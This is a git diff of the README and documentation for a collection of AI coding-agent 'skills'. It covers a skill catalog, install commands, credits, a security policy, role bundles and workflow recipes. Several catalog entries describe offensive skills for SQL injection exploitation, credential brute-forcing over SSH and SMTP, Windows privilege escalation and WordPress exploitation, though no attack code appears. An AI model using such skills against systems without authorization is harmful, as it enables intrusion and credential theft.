+| **segment-cdp** | ⚪ | Expert patterns for Segment Customer Data Platform including Analytics.js, server-side tracking, tracking plans with Protocols, identity resolution, destinations configuration, and data governance best practices. Use when: segment, analytics.js, customer data platform, cdp, tracking plan. | `skills/segment-cdp` |
+| **senior-architect** | ⚪ | Comprehensive software architecture skill for designing scalable, maintainable systems using ReactJS, NextJS, NodeJS, Express, React Native, Swift, Kotlin, Flutter, Postgres, GraphQL, Go, Python. Includes architecture diagram generation, system design patterns, tech stack decision frameworks, and dependency analysis. Use when designing system architecture, making technical decisions, creating architecture diagrams, evaluating trade-offs, or defining integration patterns. | `skills/senior-architect` |
+| **senior-fullstack** | ⚪ | Comprehensive fullstack development skill for building complete web applications with React, Next.js, Node.js, GraphQL, and PostgreSQL. Includes project scaffolding, code quality analysis, architecture patterns, and complete tech stack guidance. Use when building new projects, analyzing code quality, implementing design patterns, or setting up development workflows. | `skills/senior-fullstack` |
+| **seo-audit** | ⚪ | Diagnose and audit SEO issues affecting crawlability, indexation, rankings, and organic performance. Use when the user asks for an SEO audit, technical SEO review, ranking diagnosis, on-page SEO review, meta tag audit, or SEO health check. This skill identifies issues and prioritizes actions but does not execute changes. For large-scale page creation, use programmatic-seo. For structured data, use schema-markup. | `skills/seo-audit` |
+| **seo-fundamentals** | ⚪ | Core principles of SEO including E-E-A-T, Core Web Vitals, technical foundations, content quality, and how modern search engines evaluate pages. This skill explains *why* SEO works, not how to execute specific optimizations. | `skills/seo-fundamentals` |
+| **server-management** | ⚪ | Server management principles and decision-making. Process management, monitoring strategy, and scaling decisions. Teaches thinking, not commands. | `skills/server-management` |
+| **Shodan Reconnaissance and Pentesting** | ⚪ | This skill should be used when the user asks to "search for exposed devices on the internet," "perform Shodan reconnaissance," "find vulnerable services using Shodan," "scan IP ranges with Shodan," or "discover IoT devices and open ports." It provides comprehensive guidance for using Shodan's search engine, CLI, and API for penetration testing reconnaissance. | `skills/shodan-reconnaissance` |
+| **shopify-apps** | ⚪ | Expert patterns for Shopify app development including Remix/React Router apps, embedded apps with App Bridge, webhook handling, GraphQL Admin API, Polaris components, billing, and app extensions. Use when: shopify app, shopify, embedded app, polaris, app bridge. | `skills/shopify-apps` |
+| **shopify-development** | ⚪ | Build Shopify apps, extensions, themes using GraphQL Admin API, Shopify CLI, Polaris UI, and Liquid. TRIGGER: "shopify", "shopify app", "checkout extension", "admin extension", "POS extension", "shopify theme", "liquid template", "polaris", "shopify graphql", "shopify webhook", "shopify billing", "app subscription", "metafields", "shopify functions" | `skills/shopify-development` |
+| **signup-flow-cro** | ⚪ | When the user wants to optimize signup, registration, account creation, or trial activation flows. Also use when the user mentions "signup conversions," "registration friction," "signup form optimization," "free trial signup," "reduce signup dropoff," or "account creation flow." For post-signup onboarding, see onboarding-cro. For lead capture forms (not account creation), see form-cro. | `skills/signup-flow-cro` |
+| **skill-creator** | ⚪ | Guide for creating effective skills. This skill should be used when users want to create a new skill (or update an existing skill) that extends Claude's capabilities with specialized knowledge, workflows, or tool integrations. | `skills/skill-creator` |
+| **skill-developer** | ⚪ | Create and manage Claude Code skills following Anthropic best practices. Use when creating new skills, modifying skill-rules.json, understanding trigger patterns, working with hooks, debugging skill activation, or implementing progressive disclosure. Covers skill structure, YAML frontmatter, trigger types (keywords, intent patterns, file paths, content patterns), enforcement levels (block, suggest, warn), hook mechanisms (UserPromptSubmit, PreToolUse), session tracking, and the 500-line rule. | `skills/skill-developer` |
+| **slack-bot-builder** | ⚪ | Build Slack apps using the Bolt framework across Python, JavaScript, and Java. Covers Block Kit for rich UIs, interactive components, slash commands, event handling, OAuth installation flows, and Workflow Builder integration. Focus on best practices for production-ready Slack apps. Use when: slack bot, slack app, bolt framework, block kit, slash command. | `skills/slack-bot-builder` |
+| **slack-gif-creator** | ⚪ | Knowledge and utilities for creating animated GIFs optimized for Slack. Provides constraints, validation tools, and animation concepts. Use when users request animated GIFs for Slack like "make me a GIF of X doing Y for Slack." | `skills/slack-gif-creator` |
+| **SMTP Penetration Testing** | ⚪ | This skill should be used when the user asks to "perform SMTP penetration testing", "enumerate email users", "test for open mail relays", "grab SMTP banners", "brute force email credentials", or "assess mail server security". It provides comprehensive techniques for testing SMTP server security. | `skills/smtp-penetration-testing` |
+| **social-content** | ⚪ | When the user wants help creating, scheduling, or optimizing social media content for LinkedIn, Twitter/X, Instagram, TikTok, Facebook, or other platforms. Also use when the user mentions 'LinkedIn post,' 'Twitter thread,' 'social media,' 'content calendar,' 'social scheduling,' 'engagement,' or 'viral content.' This skill covers content creation, repurposing, and platform-specific strategies. | `skills/social-content` |
+| **software-architecture** | ⚪ | Guide for quality focused software architecture. This skill should be used when users want to write code, design architecture, analyze code, in any case that relates to software development. | `skills/software-architecture` |
+| **SQL Injection Testing** | ⚪ | This skill should be used when the user asks to "test for SQL injection vulnerabilities", "perform SQLi attacks", "bypass authentication using SQL injection", "extract database information through injection", "detect SQL injection flaws", or "exploit database query vulnerabilities". It provides comprehensive techniques for identifying, exploiting, and understanding SQL injection attack vectors across different database systems. | `skills/sql-injection-testing` |
+| **SQLMap Database Penetration Testing** | ⚪ | This skill should be used when the user asks to "automate SQL injection testing," "enumerate database structure," "extract database credentials using sqlmap," "dump tables and columns from a vulnerable database," or "perform automated database penetration testing." It provides comprehensive guidance for using SQLMap to detect and exploit SQL injection vulnerabilities. | `skills/sqlmap-database-pentesting` |
+| **SSH Penetration Testing** | ⚪ | This skill should be used when the user asks to "pentest SSH services", "enumerate SSH configurations", "brute force SSH credentials", "exploit SSH vulnerabilities", "perform SSH tunneling", or "audit SSH security". It provides comprehensive SSH penetration testing methodologies and techniques. | `skills/ssh-penetration-testing` |
+| **stripe-integration** | ⚪ | Get paid from day one. Payments, subscriptions, billing portal, webhooks, metered billing, Stripe Connect. The complete guide to implementing Stripe correctly, including all the edge cases that will bite you at 3am.  This isn't just API calls - it's the full payment system: handling failures, managing subscriptions, dealing with dunning, and keeping revenue flowing. Use when: stripe, payments, subscription, billing, checkout. | `skills/stripe-integration` |
+| **subagent-driven-development** | ⚪ | Use when executing implementation plans with independent tasks in the current session | `skills/subagent-driven-development` |
+| **supabase-postgres-best-practices** | ⚪ | Postgres performance optimization and best practices from Supabase. Use this skill when writing, reviewing, or optimizing Postgres queries, schema designs, or database configurations. | `skills/postgres-best-practices` |
+| **systematic-debugging** | ⚪ | Use when encountering any bug, test failure, or unexpected behavior, before proposing fixes | `skills/systematic-debugging` |
+| **tailwind-patterns** | ⚪ | Tailwind CSS v4 principles. CSS-first configuration, container queries, modern patterns, design token architecture. | `skills/tailwind-patterns` |
+| **tavily-web** | ⚪ | Web search, content extraction, crawling, and research capabilities using Tavily API | `skills/tavily-web` |
+| **tdd-workflow** | ⚪ | Test-Driven Development workflow principles. RED-GREEN-REFACTOR cycle. | `skills/tdd-workflow` |
+| **telegram-bot-builder** | ⚪ | Expert in building Telegram bots that solve real problems - from simple automation to complex AI-powered bots. Covers bot architecture, the Telegram Bot API, user experience, monetization strategies, and scaling bots to thousands of users. Use when: telegram bot, bot api, telegram automation, chat bot telegram, tg bot. | `skills/telegram-bot-builder` |
+| **telegram-mini-app** | ⚪ | Expert in building Telegram Mini Apps (TWA) - web apps that run inside Telegram with native-like experience. Covers the TON ecosystem, Telegram Web App API, payments, user authentication, and building viral mini apps that monetize. Use when: telegram mini app, TWA, telegram web app, TON app, mini app. | `skills/telegram-mini-app` |
+| **templates** | ⚪ | Project scaffolding templates for new applications. Use when creating new projects from scratch. Contains 12 templates for various tech stacks. | `skills/app-builder/templates` |
+| **test-driven-development** | ⚪ | Use when implementing any feature or bugfix, before writing implementation code | `skills/test-driven-development` |
+| **test-fixing** | ⚪ | Run tests and systematically fix all failing tests using smart error grouping. Use when user asks to fix failing tests, mentions test failures, runs test suite and failures occur, or requests to make tests pass. | `skills/test-fixing` |
+| **testing-patterns** | ⚪ | Jest testing patterns, factory functions, mocking strategies, and TDD workflow. Use when writing unit tests, creating test factories, or following TDD red-green-refactor cycle. | `skills/testing-patterns` |
+| **theme-factory** | ⚪ | Toolkit for styling artifacts with a theme. These artifacts can be slides, docs, reportings, HTML landing pages, etc. There are 10 pre-set themes with colors/fonts that you can apply to any artifact that has been creating, or can generate a new theme on-the-fly. | `skills/theme-factory` |
+| **Top 100 Web Vulnerabilities Reference** | ⚪ | This skill should be used when the user asks to "identify web application vulnerabilities", "explain common security flaws", "understand vulnerability categories", "learn about injection attacks", "review access control weaknesses", "analyze API security issues", "assess security misconfigurations", "understand client-side vulnerabilities", "examine mobile and IoT security flaws", or "reference the OWASP-aligned vulnerability taxonomy". Use this skill to provide comprehensive vulnerability definitions, root causes, impacts, and mitigation strategies across all major web security categories. | `skills/top-web-vulnerabilities` |
+| **trigger-dev** | ⚪ | Trigger.dev expert for background jobs, AI workflows, and reliable async execution with excellent developer experience and TypeScript-first design. Use when: trigger.dev, trigger dev, background task, ai background job, long running task. | `skills/trigger-dev` |
+| **twilio-communications** | ⚪ | Build communication features with Twilio: SMS messaging, voice calls, WhatsApp Business API, and user verification (2FA). Covers the full spectrum from simple notifications to complex IVR systems and multi-channel authentication. Critical focus on compliance, rate limits, and error handling. Use when: twilio, send SMS, text message, voice call, phone verification. | `skills/twilio-communications` |
+| **typescript-expert** | ⚪ | TypeScript and JavaScript expert with deep knowledge of type-level programming, performance optimization, monorepo management, migration strategies, and modern tooling. Use PROACTIVELY for any TypeScript/JavaScript issues including complex type gymnastics, build performance, debugging, and architectural decisions. If a specialized expert is a better fit, I will recommend switching and stop. | `skills/typescript-expert` |
+| **ui-ux-pro-max** | ⚪ | UI/UX design intelligence. 50 styles, 21 palettes, 50 font pairings, 20 charts, 9 stacks (React, Next.js, Vue, Svelte, SwiftUI, React Native, Flutter, Tailwind, shadcn/ui). Actions: plan, build, create, design, implement, review, fix, improve, optimize, enhance, refactor, check UI/UX code. Projects: website, landing page, dashboard, admin panel, e-commerce, SaaS, portfolio, blog, mobile app, .html, .tsx, .vue, .svelte. Elements: button, modal, navbar, sidebar, card, table, form, chart. Styles: glassmorphism, claymorphism, minimalism, brutalism, neumorphism, bento grid, dark mode, responsive, skeuomorphism, flat design. Topics: color palette, accessibility, animation, layout, typography, font pairing, spacing, hover, shadow, gradient. Integrations: shadcn/ui MCP for component search and examples. | `skills/ui-ux-pro-max` |
+| **upstash-qstash** | ⚪ | Upstash QStash expert for serverless message queues, scheduled jobs, and reliable HTTP-based task delivery without managing infrastructure. Use when: qstash, upstash queue, serverless cron, scheduled http, message queue serverless. | `skills/upstash-qstash` |
+| **using-git-worktrees** | ⚪ | Use when starting feature work that needs isolation from current workspace or before executing implementation plans - creates isolated git worktrees with smart directory selection and safety verification | `skills/using-git-worktrees` |
+| **using-superpowers** | ⚪ | Use when starting any conversation - establishes how to find and use skills, requiring Skill tool invocation before ANY response including clarifying questions | `skills/using-superpowers` |
+| **vercel-deployment** | ⚪ | Expert knowledge for deploying to Vercel with Next.js Use when: vercel, deploy, deployment, hosting, production. | `skills/vercel-deployment` |
+| **vercel-react-best-practices** | ⚪ | React and Next.js performance optimization guidelines from Vercel Engineering. This skill should be used when writing, reviewing, or refactoring React/Next.js code to ensure optimal performance patterns. Triggers on tasks involving React components, Next.js pages, data fetching, bundle optimization, or performance improvements. | `skills/react-best-practices` |
+| **verification-before-completion** | ⚪ | Use when about to claim work is complete, fixed, or passing, before committing or creating PRs - requires running verification commands and confirming output before making any success claims; evidence before assertions always | `skills/verification-before-completion` |
+| **viral-generator-builder** | ⚪ | Expert in building shareable generator tools that go viral - name generators, quiz makers, avatar creators, personality tests, and calculator tools. Covers the psychology of sharing, viral mechanics, and building tools people can't resist sharing with friends. Use when: generator tool, quiz maker, name generator, avatar creator, viral tool. | `skills/viral-generator-builder` |
+| **voice-agents** | ⚪ | Voice agents represent the frontier of AI interaction - humans speaking naturally with AI systems. The challenge isn't just speech recognition and synthesis, it's achieving natural conversation flow with sub-800ms latency while handling interruptions, background noise, and emotional nuance.  This skill covers two architectures: speech-to-speech (OpenAI Realtime API, lowest latency, most natural) and pipeline (STT→LLM→TTS, more control, easier to debug). Key insight: latency is the constraint. Hu | `skills/voice-agents` |
+| **voice-ai-development** | ⚪ | Expert in building voice AI applications - from real-time voice agents to voice-enabled apps. Covers OpenAI Realtime API, Vapi for voice agents, Deepgram for transcription, ElevenLabs for synthesis, LiveKit for real-time infrastructure, and WebRTC fundamentals. Knows how to build low-latency, production-ready voice experiences. Use when: voice ai, voice agent, speech to text, text to speech, realtime voice. | `skills/voice-ai-development` |
+| **vr-ar** | ⚪ | VR/AR development principles. Comfort, interaction, performance requirements. | `skills/game-development/vr-ar` |
+| **vulnerability-scanner** | ⚪ | Advanced vulnerability analysis principles. OWASP 2025, Supply Chain Security, attack surface mapping, risk prioritization. | `skills/vulnerability-scanner` |
+| **web-artifacts-builder** | ⚪ | Suite of tools for creating elaborate, multi-component claude.ai HTML artifacts using modern frontend web technologies (React, Tailwind CSS, shadcn/ui). Use for complex artifacts requiring state management, routing, or shadcn/ui components - not for simple single-file HTML/JSX artifacts. | `skills/web-artifacts-builder` |
+| **web-design-guidelines** | ⚪ | Review UI code for Web Interface Guidelines compliance. Use when asked to "review my UI", "check accessibility", "audit design", "review UX", or "check my site against best practices". | `skills/web-design-guidelines` |
+| **web-games** | ⚪ | Web browser game development principles. Framework selection, WebGPU, optimization, PWA. | `skills/game-development/web-games` |
+| **web-performance-optimization** | ⚪ | Optimize website and web application performance including loading speed, Core Web Vitals, bundle size, caching strategies, and runtime performance | `skills/web-performance-optimization` |
+| **webapp-testing** | ⚪ | Toolkit for interacting with and testing local web applications using Playwright. Supports verifying frontend functionality, debugging UI behavior, capturing browser screenshots, and viewing browser logs. | `skills/webapp-testing` |
+| **Windows Privilege Escalation** | ⚪ | This skill should be used when the user asks to "escalate privileges on Windows," "find Windows privesc vectors," "enumerate Windows for privilege escalation," "exploit Windows misconfigurations," or "perform post-exploitation privilege escalation." It provides comprehensive guidance for discovering and exploiting privilege escalation vulnerabilities in Windows environments. | `skills/windows-privilege-escalation` |
+| **Wireshark Network Traffic Analysis** | ⚪ | This skill should be used when the user asks to "analyze network traffic with Wireshark", "capture packets for troubleshooting", "filter PCAP files", "follow TCP/UDP streams", "detect network anomalies", "investigate suspicious traffic", or "perform protocol analysis". It provides comprehensive techniques for network packet capture, filtering, and analysis using Wireshark. | `skills/wireshark-analysis` |
+| **WordPress Penetration Testing** | ⚪ | This skill should be used when the user asks to "pentest WordPress sites", "scan WordPress for vulnerabilities", "enumerate WordPress users, themes, or plugins", "exploit WordPress vulnerabilities", or "use WPScan". It provides comprehensive WordPress security assessment methodologies. | `skills/wordpress-penetration-testing` |
+| **workflow-automation** | ⚪ | Workflow automation is the infrastructure that makes AI agents reliable. Without durable execution, a network hiccup during a 10-step payment flow means lost money and angry customers. With it, workflows resume exactly where they left off.  This skill covers the platforms (n8n, Temporal, Inngest) and patterns (sequential, parallel, orchestrator-worker) that turn brittle scripts into production-grade automation.  Key insight: The platforms make different tradeoffs. n8n optimizes for accessibility | `skills/workflow-automation` |
+| **writing-plans** | ⚪ | Use when you have a spec or requirements for a multi-step task, before touching code | `skills/writing-plans` |
+| **writing-skills** | ⚪ | Use when creating new skills, editing existing skills, or verifying skills work before deployment | `skills/writing-skills` |
+| **xlsx** | ⚪ | Comprehensive spreadsheet creation, editing, and analysis with support for formulas, formatting, data analysis, and visualization. When Claude needs to work with spreadsheets (.xlsx, .xlsm, .csv, .tsv, etc) for: (1) Creating new spreadsheets with formulas and formatting, (2) Reading or analyzing data, (3) Modify existing spreadsheets while preserving formulas, (4) Data analysis and visualization in spreadsheets, or (5) Recalculating formulas | `skills/xlsx-official` |
+| **zapier-make-patterns** | ⚪ | No-code automation democratizes workflow building. Zapier and Make (formerly Integromat) let non-developers automate business processes without writing code. But no-code doesn't mean no-complexity - these platforms have their own patterns, pitfalls, and breaking points.  This skill covers when to use which platform, how to build reliable automations, and when to graduate to code-based solutions. Key insight: Zapier optimizes for simplicity and integrations (7000+ apps), Make optimizes for power | `skills/zapier-make-patterns` |
 
 ## Installation
 
-To use these skills with **Antigravity** or **Claude Code**, clone this repository into your agent's skills directory:
+To use these skills with **Claude Code**, **Gemini CLI**, **Codex CLI**, **Cursor**, **Antigravity**, or **OpenCode**, clone this repository into your agent's skills directory:
 
 ```bash
+# Universal installation (works with most tools)
 git clone https://github.com/sickn33/antigravity-awesome-skills.git .agent/skills
+
+# Claude Code specific
+git clone https://github.com/sickn33/antigravity-awesome-skills.git .claude/skills
+
+# Gemini CLI specific
+git clone https://github.com/sickn33/antigravity-awesome-skills.git .gemini/skills
+
+# Cursor specific
+git clone https://github.com/sickn33/antigravity-awesome-skills.git .cursor/skills
 ```
 
 ---
@@ -147,14 +424,27 @@ Please ensure your skill follows the Antigravity/Claude Code best practices.
 
 ## Credits & Sources
 
+We stand on the shoulders of giants.
+
+👉 **[View the Full Attribution Ledger](docs/SOURCES.md)**
+
+Key contributors and sources include:
+
+- **HackTricks**
+- **OWASP**
+- **Anthropic / OpenAI / Google**
+- **The Open Source Community**
+
 This collection would not be possible without the incredible work of the Claude Code community and official sources:
 
 ### Official Sources
 
 - **[anthropics/skills](https://github.com/anthropics/skills)**: Official Anthropic skills repository - Document manipulation (DOCX, PDF, PPTX, XLSX), Brand Guidelines, Internal Communications.
 - **[anthropics/claude-cookbooks](https://github.com/anthropics/claude-cookbooks)**: Official notebooks and recipes for building with Claude.
+- **[remotion-dev/skills](https://github.com/remotion-dev/skills)**: Official Remotion skills - Video creation in React with 28 modular rules.
 - **[vercel-labs/agent-skills](https://github.com/vercel-labs/agent-skills)**: Vercel Labs official skills - React Best Practices, Web Design Guidelines.
 - **[openai/skills](https://github.com/openai/skills)**: OpenAI Codex skills catalog - Agent skills, Skill Creator, Concise Planning.
+- **[supabase/agent-skills](https://github.com/supabase/agent-skills)**: Supabase official skills - Postgres Best Practices.
 
 ### Community Contributors
 
@@ -163,9 +453,15 @@ This collection would not be possible without the incredible work of the Claude
 - **[diet103/claude-code-infrastructure-showcase](https://github.com/diet103/claude-code-infrastructure-showcase)**: Infrastructure and Backend/Frontend Guidelines.
 - **[ChrisWiles/claude-code-showcase](https://github.com/ChrisWiles/claude-code-showcase)**: React UI patterns and Design Systems.
 - **[travisvn/awesome-claude-skills](https://github.com/travisvn/awesome-claude-skills)**: Loki Mode and Playwright integration.
-- **[zebbern/claude-code-guide](https://github.com/zebbern/claude-code-guide)**: Comprehensive Security suite.
+- **[zebbern/claude-code-guide](https://github.com/zebbern/claude-code-guide)**: Comprehensive Security suite & Guide (Source for ~60 new skills).
 - **[alirezarezvani/claude-skills](https://github.com/alirezarezvani/claude-skills)**: Senior Engineering and PM toolkit.
 - **[karanb192/awesome-claude-skills](https://github.com/karanb192/awesome-claude-skills)**: A massive list of verified skills for Claude Code.
+- **[zircote/.claude](https://github.com/zircote/.claude)**: Shopify development skill reference.
+- **[vibeforge1111/vibeship-spawner-skills](https://github.com/vibeforge1111/vibeship-spawner-skills)**: AI Agents, Integrations, Maker Tools (57 skills, Apache 2.0).
+- **[coreyhaines31/marketingskills](https://github.com/coreyhaines31/marketingskills)**: Marketing skills for CRO, copywriting, SEO, paid ads, and growth (23 skills, MIT).
+- **[vudovn/antigravity-kit](https://github.com/vudovn/antigravity-kit)**: AI Agent templates with Skills, Agents, and Workflows (33 skills, MIT).
+- **[affaan-m/everything-claude-code](https://github.com/affaan-m/everything-claude-code)**: Complete Claude Code configuration collection from Anthropic hackathon winner - skills only (8 skills, MIT).
+- **[webzler/agentMemory](https://github.com/webzler/agentMemory)**: Source for the agent-memory-mcp skill.
 
 ### Inspirations
 
@@ -178,6 +474,50 @@ This collection would not be possible without the incredible work of the Claude
 
 MIT License. See [LICENSE](LICENSE) for details.
 
+## Community
+
+- [Community Guidelines](docs/COMMUNITY_GUIDELINES.md)
+- [Security Policy](docs/SECURITY_GUARDRAILS.md)
+
 ---
 
-**Keywords**: Claude Code, Antigravity, Agentic Skills, MCT, AI Agents, Autonomous Coding, Security Auditing, React Patterns.
+---
+
+## 🏷️ GitHub Topics
+
+For repository maintainers, add these topics to maximize discoverability:
+
+```text
+claude-code, gemini-cli, codex-cli, antigravity, cursor, github-copilot, opencode,
+agentic-skills, ai-coding, llm-tools, ai-agents, autonomous-coding, mcp,
+ai-developer-tools, ai-pair-programming, vibe-coding, skill, skills, SKILL.md, rules.md, CLAUDE.md, GEMINI.md, CURSOR.md
+```
+
+---
+
+## Repo Contributors
+
+We officially thank the following contributors for their help in making this repository awesome!
+
+- [sck_0](https://github.com/sck_0)
+- [Munir Abbasi](https://github.com/munirabbasi)
+- [Mohammad Faiz](https://github.com/mohdfaiz2k9)
+- [GuppyTheCat](https://github.com/GuppyTheCat)
+- [sickn33](https://github.com/sickn33)
+- [Ianj332](https://github.com/Ianj332)
+- [Tiger-Foxx](https://github.com/Tiger-Foxx)
+- [arathiesh](https://github.com/arathiesh)
+- [1bcMax](https://github.com/1bcMax)
+- [Ahmed Rehan](https://github.com/ar27111994)
+- [BenedictKing](https://github.com/BenedictKing)
+- [Nguyen Huu Loc](https://github.com/LocNguyenSGU)
+- [Owen Wu](https://github.com/yubing744)
+- [SuperJMN](https://github.com/SuperJMN)
+- [Viktor Ferenczi](https://github.com/viktor-ferenczi)
+- [krisnasantosa15](https://github.com/krisnasantosa15)
+- [zebbern](https://github.com/zebbern)
+- [vuth-dogo](https://github.com/vuth-dogo)
+
+## Star History
+
+[![Star History Chart](https://api.star-history.com/svg?repos=sickn33/antigravity-awesome-skills&type=date&legend=top-left)](https://www.star-history.com/#sickn33/antigravity-awesome-skills&type=date&legend=top-left)

SECURITY.md

@@ -0,0 +1,19 @@
+# Security Policy
+
+## Supported Versions
+
+We track the `main` branch.
+
+## Reporting a Vulnerability
+
+**DO NOT** open a public Issue for security exploits.
+
+If you find a security vulnerability (e.g., a skill that bypasses the "Authorized Use Only" check or executes malicious code without warning):
+
+1. Email: `security@antigravity.dev` (Placeholder)
+2. Or open a **Private Advisory** on this repository.
+
+## Offensive Skills Policy
+
+Please read our [Security Guardrails](docs/SECURITY_GUARDRAILS.md).
+All offensive skills are strictly for **authorized educational and professional use only**.

docs/BUNDLES.md

@@ -0,0 +1,124 @@
+# 📦 Antigravity Skill Bundles
+
+Don't know where to start? Pick a bundle below to get a curated set of skills for your role.
+
+## 🚀 The "Essentials" Starter Pack
+
+_For everyone. Install these first._
+
+- `concise-planning`: Always start with a plan.
+- `lint-and-validate`: Keep your code clean automatically.
+- `git-pushing`: Save your work safely.
+- `kaizen`: Continuous improvement mindset.
+
+## 🛡️ The "Security Engineer" Pack
+
+_For pentesting, auditing, and hardening._
+
+- `ethical-hacking-methodology`: The Bible of ethical hacking.
+- `burp-suite-testing`: Web vulnerability scanning.
+- `owasp-top-10`: Check for the most common flaws.
+- `linux-privilege-escalation`: Advanced Linux security assessment.
+- `cloud-penetration-testing`: AWS/Azure/GCP security.
+
+## 🌐 The "Web Wizard" Pack
+
+_For building modern, high-performance web apps._
+
+- `frontend-design`: UI guidelines and aesthetics.
+- `react-patterns`: Best practices for React (if available).
+- `tailwind-mastery`: Styling superpowers.
+- `form-cro`: Optimize your forms for conversion.
+- `seo-audit`: Get found on Google.
+
+## 🤖 The "Agent Architect" Pack
+
+_For building AI systems._
+
+- `agent-evaluation`: Test your agents.
+- `langgraph`: Build stateful agent workflows.
+- `mcp-builder`: Create your own tools.
+- `prompt-engineering`: Master the art of talking to LLMs.
+
+## 🎮 The "Indie Game Dev" Pack
+
+_For building games with AI assistants._
+
+- `game-development/game-design`: Mechanics and loops.
+- `game-development/2d-games`: Sprites and physics.
+- `game-development/3d-games`: Models and shaders.
+- `game-development/unity-csharp`: C# scripting mastery.
+- `algorithmic-art`: Generate assets with code.
+
+## 🐍 The "Python Pro" Pack
+
+_For backend heavyweights and data scientists._
+
+- `python-patterns`: Idiomatic Python code.
+- `poetry-manager`: Dependency management that works.
+- `pytest-mastery`: Testing frameworks.
+- `fastapi-expert`: High-performance APIs.
+- `django-guide`: The battery-included framework.
+
+## 🦄 The "Startup Founder" Pack
+
+_For building products, not just code._
+
+- `product-requirements-doc`: Define what to build.
+- `competitor-analysis`: Know who you are fighting.
+- `pitch-deck-creator`: Raise capital (or just explain your idea).
+- `landing-page-copy`: Write words that sell.
+- `stripe-integration`: Get paid.
+
+## 🌧️ The "DevOps & Cloud" Pack
+
+_For infrastructure and scaling._
+
+- `docker-expert`: Master containers and multi-stage builds.
+- `aws-serverless`: Go serverless on AWS (Lambda, DynamoDB).
+- `environment-setup-guide`: Standardization for teams.
+- `deployment-procedures`: Safe rollout strategies.
+- `bash-linux`: Terminal wizardry.
+
+## 📊 The "Data & Analytics" Pack
+
+_For making sense of the numbers._
+
+- `analytics-tracking`: Set up GA4/PostHog correctly.
+- `d3-viz`: Beautiful custom visualizations.
+- `sql-mastery`: Write better queries (Community skill).
+- `ab-test-setup`: Validated learning.
+
+## 🎨 The "Creative Director" Pack
+
+_For visuals, content, and branding._
+
+- `canvas-design`: Generate posters and diagrams.
+- `frontend-design`: UI aesthetics.
+- `content-creator`: SEO-optimized blog posts.
+- `copy-editing`: Polish your prose.
+- `algorithmic-art`: Code-generated masterpieces.
+
+## 🐞 The "QA & Testing" Pack
+
+_For breaking things before users do._
+
+- `test-driven-development`: Red, Green, Refactor.
+- `systematic-debugging`: Sherlock Holmes for code.
+- `browser-automation`: End-to-end testing with Playwright.
+- `ab-test-setup`: Validated experiments.
+- `code-review-checklist`: Catch bugs in PRs.
+
+## 🖌️ The "Web Designer" Pack
+
+_For pixel-perfect experiences._
+
+- `ui-ux-pro-max`: Premium design systems/tokens.
+- `frontend-design`: The base layer of aesthetics.
+- `3d-web-experience`: Three.js & R3F magic.
+- `canvas-design`: Static visuals/posters.
+- `responsive-layout`: Mobile-first principles.
+
+---
+
+_To use a bundle, simply copy the skill names into your `.agent/skills` folder or use them with your agent._

docs/CI_DRIFT_FIX.md

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+# CI Drift Fix Guide
+
+**Problem**: The failing job is caused by uncommitted changes detected in `README.md` or `skills_index.json` after the update scripts run.
+
+**Error**:
+
+```
+❌ Detected uncommitted changes in README.md or skills_index.json. Please run scripts locally and commit.
+```
+
+**Cause**:
+Scripts like `scripts/generate_index.py` and `scripts/update_readme.py` modify `README.md` and `skills_index.json`, but the workflow expects these files to have no changes after the scripts are run. Any differences mean the committed repo is out-of-sync with what the generation scripts produce.
+
+**How to Fix (DO THIS EVERY TIME):**
+
+1. Run the scripts locally to regenerate README.md and skills_index.json:
+
+   ```bash
+   python3 scripts/generate_index.py
+   python3 scripts/update_readme.py
+   ```
+
+2. Check for changes:
+
+   ```bash
+   git status
+   git diff
+   ```
+
+3. Commit and push any updates:
+   ```bash
+   git add README.md skills_index.json
+   git commit -m "Update README and skills index to resolve CI drift"
+   git push
+   ```
+
+**Summary**:
+Always commit and push all changes produced by the registry or readme update scripts. This keeps the CI workflow passing by ensuring the repository and generated files are synced.

docs/COMMUNITY_GUIDELINES.md

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+# Code of Conduct
+
+## Our Pledge
+
+In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone.
+
+## Our Standards
+
+Examples of behavior that contributes to creating a positive environment include:
+
+- Using welcoming and inclusive language
+- Being respectful of differing viewpoints and experiences
+- Gracefully accepting constructive criticism
+- Focusing on what is best for the community
+- Showing empathy towards other community members
+
+Examples of unacceptable behavior by participants include:
+
+- The use of sexualized language or imagery and unwelcome sexual attention or advances
+- Trolling, insulting/derogatory comments, and personal or political attacks
+- Public or private harassment
+- Publishing others' private information without explicit permission
+- Other conduct which could reasonably be considered inappropriate in a professional setting
+
+## Enforcement
+
+Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior.
+
+## Attribution
+
+This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 2.1.
+
+[homepage]: https://www.contributor-covenant.org

docs/EXAMPLES.md

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+# 🧪 Real-World Examples ("The Antigravity Cookbook")
+
+Skills are powerful on their own, but unstoppable when combined.
+Here are three common scenarios and how to solve them using this repository.
+
+## 🥘 Recipe 1: The "Legacy Code Audit"
+
+_Scenario: You just inherited a messy 5-year-old Node.js repo. You need to fix it safely._
+
+**Skills Used:**
+
+1. `concise-planning` (To map the chaos)
+2. `lint-and-validate` (To find the bugs)
+3. `security-audit` (To find the holes)
+
+**The Workflow:**
+
+1. **Plan**: "Agent, use `concise-planning` to create a checklist for refactoring `src/legacy-api.js`."
+2. **Audit**: "Run `security-audit` on the `package.json` to find vulnerable dependencies."
+3. **Fix**: "Use `lint-and-validate` rules to auto-fix the formatting issues in `src/`."
+
+---
+
+## 🥘 Recipe 2: The "Modern Web App"
+
+_Scenario: You need to build a high-performance Landing Page in 2 hours._
+
+**Skills Used:**
+
+1. `frontend-design` (For aesthetics)
+2. `react-patterns` (For structure)
+3. `tailwind-mastery` (For speed)
+
+**The Workflow:**
+
+1. **Design**: "Use `frontend-design` to generate a color palette and typography for a 'Cyberpunk Coffee Shop'."
+2. **Scaffold**: "Initialize a Vite project. Then apply `react-patterns` to create the 'Hero' component."
+3. **Style**: "Use `tailwind-mastery` to make the buttons glassmorphic and responsive."
+
+---
+
+## 🥘 Recipe 3: The "Agent Architect"
+
+_Scenario: You want to build a custom AI agent that can verify its own code._
+
+**Skills Used:**
+
+1. `mcp-builder` (To build tools)
+2. `agent-evaluation` (To test reliability)
+3. `prompt-engineering` (To refine instructions)
+
+**The Workflow:**
+
+1. **Build**: "Use `mcp-builder` to create a `verify-file` tool."
+2. **Instruct**: "Apply `prompt-engineering` patterns to the System Prompt so the agent always checks file paths."
